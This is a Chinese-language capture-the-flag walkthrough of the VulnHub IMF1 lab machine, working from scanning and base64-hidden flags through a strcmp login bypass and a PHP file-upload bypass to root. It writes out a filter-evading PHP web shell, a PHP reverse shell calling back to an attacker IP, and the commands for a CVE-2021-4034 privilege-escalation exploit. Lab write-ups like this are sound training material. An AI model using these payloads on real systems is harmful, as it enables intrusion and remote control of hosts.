vulnhub-IMF1
forg12

概述

信息收集

主机发现

1
2
3
4
5
6
7
8
9
10
sudo nmap -sP 192.168.2.0/24
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org )

Nmap scan report for 192.168.2.159
Host is up (0.11s latency).
MAC Address: 50:2B:73:A0:02:39 (Tenda Technology,Ltd.Dongguan branch)
Nmap scan report for 192.168.2.165
Host is up (0.090s latency).
MAC Address: 50:2B:73:A0:02:39 (Tenda Technology,Ltd.Dongguan branch)

端口扫描

1
2
3
4
5
6
7
8
9
10
11
sudo nmap -p- 192.168.2.165            
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 192.168.2.165
Host is up (0.0079s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
MAC Address: 50:2B:73:A0:02:39 (Tenda Technology,Ltd.Dongguan branch)

Nmap done: 1 IP address (1 host up) scanned in 114.97 seconds

目录扫描

1
dirsearch -u http://192.168.2.165/ -x 403

image-20220812095618204

​ 目录扫完,啥有用的信息都没获取到,这时只能在网站上面翻翻网页源码,看看有没有什么有用信息。

image-20220812095826149

flag1

1
view-source:http://192.168.2.165/contact.php
1
<!-- flag1{YWxsdGhlZmlsZXM=} -->

image-20220812095521433

1
2
echo "YWxsdGhlZmlsZXM=" | base64 --decode
allthefiles

image-20220812100015659

​ 这个参数暂时不知道怎么利用。

flag2

​ 拿到flag1后,没有什么往后走的有用信息,又仔细看了一下网页源码,发现有几个js文件名称比较怪,像是base64,通过组合解码得到flag2,并得到了一个路径:

imfadministrator

1
2
3
4
5
echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 --decode
flag2{aW1mYWRtaW5pc3RyYXRvcg==}

echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 --decode
imfadministrator

image-20220812095332045

/imfadministrator

image-20220812100943378

image-20220812100916756

漏洞利用

用户枚举

​ 随意输入用户密码登录,显示无效用户名,尝试contact.php中的用户名,结果返回无效密码

1
2
3
rmichaels
akeith
estone

image-20220812101707509

image-20220812101807677

image-20220812103124312

1
cewl http://192.168.2.165/contact.php -w pwd.txt

登录验证绕过

​ strcmp判断两个字符是否相等时,如果两个字符串相等,返回结果为0,但如果是字符串和数字进行比较,也会返回0。

​ 提示里面说的意思这里没有通过数据库查看密码,而是直接写在代码里进行对比,

​ 所以这里将密码字段pass改为pass[],直接绕过登录验证。

image-20220815172237007

flag3

1
flag3{Y29udGludWVUT2Ntcw==}

文件上传

上传白名单

​ 经测试,这里是白名单,后缀必须是png、jpg、gif,上传gif显示乱码,怀疑这里gif会被作为php脚本解析,然后上传phpinfo测试。

image-20220812143317432

gif被解析

​ 结果gif确实被解析了。

image-20220812143628971

image-20220812143657431

限制函数绕过

​ 本来想直接用蚁剑生成的一句话,但是显示禁用了Base64 decode函数,后续尝试了多种一句话,在黑盒测试的情况下,总结了回显里面的禁用。

image-20220812142728655

image-20220812142757835

1
2
3
4
5
6
1.文件后缀必须是 png、jpg、gif
2.content-type必须与上述匹配
3.文件内容检查:
文件头必须为白名单的文件头
不能涉及base64_decode
不能使用eval等常用函数

​ 最后一条,虽然上传代码执行函数assert不回拦截,但是用不了,最后使用下面的一句话,蚁剑成功连接。

1
2
3
4
5
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

参考文章:https://www.cnblogs.com/xiaozi/p/7834367.html

image-20220812141909913

image-20220812141945152

flag5

image-20220812145120349

1
2
flag5{YWdlbnRzZXJ2aWNlcw==}
agentservices

权限提升

​ 目标机器没有python环境,用php执行反弹shell。

1
2
3
4
<?php 
$sock=fsockopen("192.168.2.162",2233);
exec("/bin/bash -i 0>&3 1>&3 2>&3");
?>

CVE-2021-4034

1
2
gcc cve-2021-4034-poc.c -o exp
./exp

image-20220812151537851

flag6

1
2
3
cat Flag.txt
flag6{R2gwc3RQcm90MGMwbHM=}
Gh0stProt0c0ls

image-20220812151647186